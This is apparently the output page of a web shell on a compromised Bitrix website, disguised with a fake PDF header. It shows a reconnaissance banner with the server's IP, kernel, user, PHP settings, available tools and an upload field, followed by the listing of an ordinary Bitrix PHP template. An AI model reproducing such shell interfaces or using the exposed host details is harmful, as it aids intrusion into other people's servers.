%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.117.142.141 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.config.limits/templates/.default/ |
Upload File : |
<?php if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Context; use Bitrix\Main\Localization\Loc; use Bitrix\Main\Type\DateTime; use Bitrix\Main\Web\Json; /** @var CAllMain $APPLICATION */ /** @var array $arParams */ /** @var array $arResult */ $containerId = 'sender-start-container'; \Bitrix\UI\Toolbar\Facade\Toolbar::deleteFavoriteStar(); Bitrix\Main\UI\Extension::load( [ 'ui.buttons', 'ui', 'ui.notification', ] ); $sendingStartTime = strtotime($arResult['SENDING_START']); $sendingEndTime = strtotime($arResult['SENDING_END']); ?> <div id="<?=htmlspecialcharsbx($containerId)?>" class="sender-config-limits-wrap"> <?php $counter = 0;?> <?php $active = false;?> <?php $defaultTab = null;?> <?foreach ($arResult['LIST'] as $item):?> <?php $active = false;?> <div class="sender-config-limits-box sender-type-tab" data-tab="<?=$item['CODE']?>"> <?php if (0 == $counter++) { $active = true; $defaultTab = $item['CODE']; } $menuItems[] = [ 'NAME' => Loc::getMessage('SENDER_LIMIT_LEFT_MENU_' . mb_strtoupper($item['CODE']) .'_LIMIT'), 'ATTRIBUTES' => [ 'onclick' => "BX.Sender.Config.Limits.changeLeftMenuOption('".$item['CODE']."')", ], 'ACTIVE' => $active ]; ?> <h4 class="sender-config-limits-title"> <?=htmlspecialcharsbx($item['NAME'])?> <?if ($item['HELP_URI']):?> <span class="sender-config-limits-info"> <?=(htmlspecialcharsbx($item['HELP_CAPTION']) ?: Loc::getMessage('SENDER_LIMIT_HELP', array( '%link_start%' => '<a href="' . htmlspecialcharsbx($item['HELP_URI']) . '" class="sender-config-limits-setup-link">', '%link_end%' => '</a>' )) )?> </span> <?endif;?> </h4> <?foreach ($item['LIMITS'] as $limit):?> <div class="sender-config-limits-block"> <?if ($limit['CAPTION']):?> <div class="sender-config-limits-subtitle"> <?=htmlspecialcharsbx($limit['CAPTION'])?> </div> <?endif;?> <?if ($limit['TEXT_VIEW']):?> <span class="sender-config-limits-info-number"><?=htmlspecialcharsbx($limit['LIMIT'])?></span> <span class="sender-config-limits-info-name"><?=htmlspecialcharsbx($limit['UNIT_NAME'])?></span> <?else:?> <div class="sender-config-limits-head" style="margin-top: 5px;"> <span class="sender-config-limits-head-left"> <?=Loc::getMessage('SENDER_LIMIT')?> </span> <span class="sender-config-limits-head-right"> <?=htmlspecialcharsbx($limit['UNIT_NAME'])?> </span> </div> <div <?if ($limit['PERCENTAGE']):?> data-role="percentage-context" <?endif;?> data-name="<?=htmlspecialcharsbx($limit['NAME'])?>" class="sender-config-limits-main" > <div class="sender-config-limits-available-box"> <span class="sender-config-limits-available-left"> <?=Loc::getMessage('SENDER_LIMIT_AVAILABLE')?> </span> <span data-role="percentage-available" class="sender-config-limits-available-right"> <?=htmlspecialcharsbx($limit['AVAILABLE'])?> </span> </div> <div class="sender-config-limits-progress-line"> <div class="sender-config-limits-progress-bar" style="width: <?=$limit['CURRENT_PERCENTAGE']?>%" ></div> <?if ($limit['PERCENTAGE']):?> <div data-role="percentage-view" class="sender-config-limits-progress-slider" style="left: <?=htmlspecialcharsbx($limit['PERCENTAGE'])?>%;" > <div class="sender-config-limits-progress-popup"> <span class="sender-config-limits-progress-percentage"> <span data-role="percentage-text" class="sender-config-limits-progress-name"> <?=htmlspecialcharsbx($limit['PERCENTAGE'])?> </span> % </span> <div data-role="percentage-input" class="sender-config-limits-progress-input-box"> <input class="sender-config-limits-progress-input" type="number" min="10" max="100" style="width: 40px;" value="<?=htmlspecialcharsbx($limit['PERCENTAGE'])?>" >% </div> <?if ($arParams['CAN_EDIT']):?> <span data-role="percentage-edit" class="sender-config-limits-progress-button"> <span class="sender-config-limits-progress-button-item"></span> </span> <div class="sender-config-limits-progress-triangle"></div> <?endif;?> </div> </div> <?endif;?> </div> <div class="sender-config-limits-bottom"> <div class="sender-config-limits-bottom-left"> <?=htmlspecialcharsbx($limit['CURRENT'])?> </div> <div class="sender-config-limits-bottom-right"> <?=Loc::getMessage('SENDER_LIMIT_OF')?> <span data-role="percentage-limit"> <?=htmlspecialcharsbx($limit['LIMIT'])?> </span> <?if ($limit['SETUP_URI']):?> <a href="<?=htmlspecialcharsbx($limit['SETUP_URI'])?>" class="sender-config-limits-setup-link"> <?=htmlspecialcharsbx($limit['SETUP_CAPTION'] ?: Loc::getMessage('SENDER_LIMIT_SETUP'))?> </a> <?endif;?> </div> </div> </div> <?endif;?> </div> <?endforeach;?> </div> <?endforeach;?> <div class="sender-type-tab" data-tab="others"> <h4 class="sender-config-limits-title"> <?=htmlspecialcharsbx(Loc::getMessage('SENDER_SENDING_TIME_TITLE'))?> </h4> <div class="sender-config-limits-block"> <div class="sender-config-limits-bottom"> <div class="sender-config-limits-bottom-left"> <label for="sender-sending-time-option"> <input type="checkbox" <?php if ($arResult['SENDING_TIME']): ?> checked="checked" <?php endif;?> class="sender-sending-time-option" id="sender-sending-time-option" /> <?=Loc::getMessage('SENDER_SENDING_TIME_OPTION')?> </label> </div> </div> <div class="sender-sending-time-configuration-block"> <div class="sender-config-limits-bottom-without-space sender-sending-time-view-block" > <div> <span class="sender-config-sending-time-caption"> <span class="sender-sending-start-caption"><?= (new \DateTime()) ->setTimestamp($sendingStartTime) ->format(Context::getCurrent() ->getCulture() ->getShortTimeFormat()); ?></span> - <span class="sender-sending-end-caption"> <?= (new \DateTime()) ->setTimestamp($sendingEndTime) ->format(Context::getCurrent() ->getCulture() ->getShortTimeFormat()); ?></span> </span> <a href="#/" class = 'sender-sending-time-edit-btn'> <?=Loc::getMessage('SENDER_LIMIT_SETUP')?> </a> </div> </div> <div class="sender-config-limits-bottom-without-space sender-sending-time-edit-block" style="display: none"> <select class="bx-sender-form-control bx-sender-message-editor-field-select sender-sending-start"> <?php for ($hour = 0; $hour < 24; $hour++):?> <?php foreach ([0, 30] as $minute):?> <?php $time = strtotime(sprintf("%02d:%02d", $hour, $minute)); ?> <?php $formatted = (new \DateTime()) ->setTimestamp($time) ->format(Context::getCurrent() ->getCulture() ->getShortTimeFormat() ); ?> <option value='<?=$formatted?>' <?= ($time === $sendingStartTime ? "selected" : "")?>> <?=$formatted?> </option> <?php endforeach;?> <?php endfor;?> </select> - <select class="bx-sender-form-control bx-sender-message-editor-field-select sender-sending-end"> <?php for ($hour = 0; $hour < 24; $hour++):?> <?php foreach ([0, 30] as $minute):?> <?php $time = strtotime(sprintf("%02d:%02d", $hour, $minute)); ?> <?php $formatted = (new \DateTime()) ->setTimestamp($time) ->format(Context::getCurrent() ->getCulture() ->getShortTimeFormat() ); ?> <option value='<?=$formatted?>' <?= ($time === $sendingEndTime ? "selected" : "")?>> <?=$formatted?> </option> <?php endforeach;?> <?php endfor;?> </select> <button class="ui-btn ui-btn-success ui-btn-md sender-save-time-limit-configuration"><?= Loc::getMessage('SENDER_LIMIT_SAVE') ?></button> </div> </div> </div> <h4 class="sender-config-limits-title"> <?=htmlspecialcharsbx(Loc::getMessage('SENDER_TRACK_MAIL_NAME'))?> <?if (Loc::getMessage('SENDER_TRACK_MAIL_HELP')):?> <span class="sender-config-limits-info"> <?=(htmlspecialcharsbx($item['HELP_CAPTION']) ?: Loc::getMessage('SENDER_TRACK_MAIL_HELP', array( '%link_start%' => '<a href="javascript:top.BX.Helper.show(\'redirect=detail&code=13170876\')" class="sender-config-limits-setup-link">', '%link_end%' => '</a>' )) )?> </span> <?endif;?> </h4> <div class="sender-config-limits-block"> <div class="sender-config-limits-bottom"> <div class="sender-config-limits-bottom-left"> <label for="sender-track-mail-option"> <input type="checkbox" <?php if ($arResult['CAN_TRACK_MAIL']): ?> checked="checked" <?php endif;?> class="sender-track-mail-option" id="sender-track-mail-option" /> <?=Loc::getMessage('SENDER_TRACK_MAIL_OPTION')?> </label> </div> </div> </div> <?php if (!\Bitrix\Sender\Integration\Bitrix24\Service::isCloudRegionMayTrackMails()): ?> <h4 class="sender-config-limits-title"> <?=htmlspecialcharsbx(Loc::getMessage('SENDER_MAIL_CONSENT_NAME'))?> <?php if (Loc::getMessage('SENDER_MAIL_CONSENT_HELP')):?> <span class="sender-config-limits-info"> <?=(htmlspecialcharsbx($item['HELP_CAPTION']) ?: Loc::getMessage('SENDER_MAIL_CONSENT_HELP', array( '%link_start%' => '<a href="javascript:top.BX.Helper.show(\'redirect=detail&code=13170876\')" class="sender-config-limits-setup-link">', '%link_end%' => '</a>' )) )?> </span> <?php endif;?> </h4> <div class="sender-config-limits-block"> <div class="sender-config-limits-bottom"> <div class="sender-config-limits-bottom-left"> <label for="sender-mail-consent-option"> <input type="checkbox" <?php if ($arResult['USE_MAIL_CONSENT']): ?> checked="checked" <?php endif;?> class="sender-mail-consent-option" id="sender-mail-consent-option" /> <?=Loc::getMessage('SENDER_MAIL_CONSENT_OPTION')?> </label> </div> </div> </div> <?php endif;?> </div> </div> <script type="text/javascript"> BX.ready(function () { BX.Sender.Config.Limits.init(<?=Json::encode(array( 'containerId' => $containerId, 'actionUri' => $arResult['ACTION_URI'], 'defaultTab' => !$defaultTab ? 'others' : $defaultTab, 'mess' => array( 'mailDailyLimit' => Loc::getMessage('SENDER_LIMIT_MAIL_DAILY_DESC'), 'mailDailyLimitTitle' => Loc::getMessage('SENDER_LIMIT_MAIL_DAILY_DESC_TITLE'), 'close' => Loc::getMessage('SENDER_LIMIT_BTN_CLOSE'), 'success' => Loc::getMessage('SENDER_LIMIT_NOTIFICATION_SUCCESS'), ) ))?>); }); </script> <?php $menuItems[] = [ 'NAME' => Loc::getMessage('SENDER_LIMIT_LEFT_MENU_ADDITIONAL_CONFIGURATION'), 'ATTRIBUTES' => [ 'onclick' => "BX.Sender.Config.Limits.changeLeftMenuOption('others')", 'data-role' => 'others', ], 'ACTIVE' => !$defaultTab ]; $APPLICATION->IncludeComponent( 'bitrix:ui.sidepanel.wrappermenu', '', [ 'TITLE' => Loc::getMessage('SENDER_LIMIT_TITLE'), 'ITEMS' => $menuItems, ], $this->getComponent() );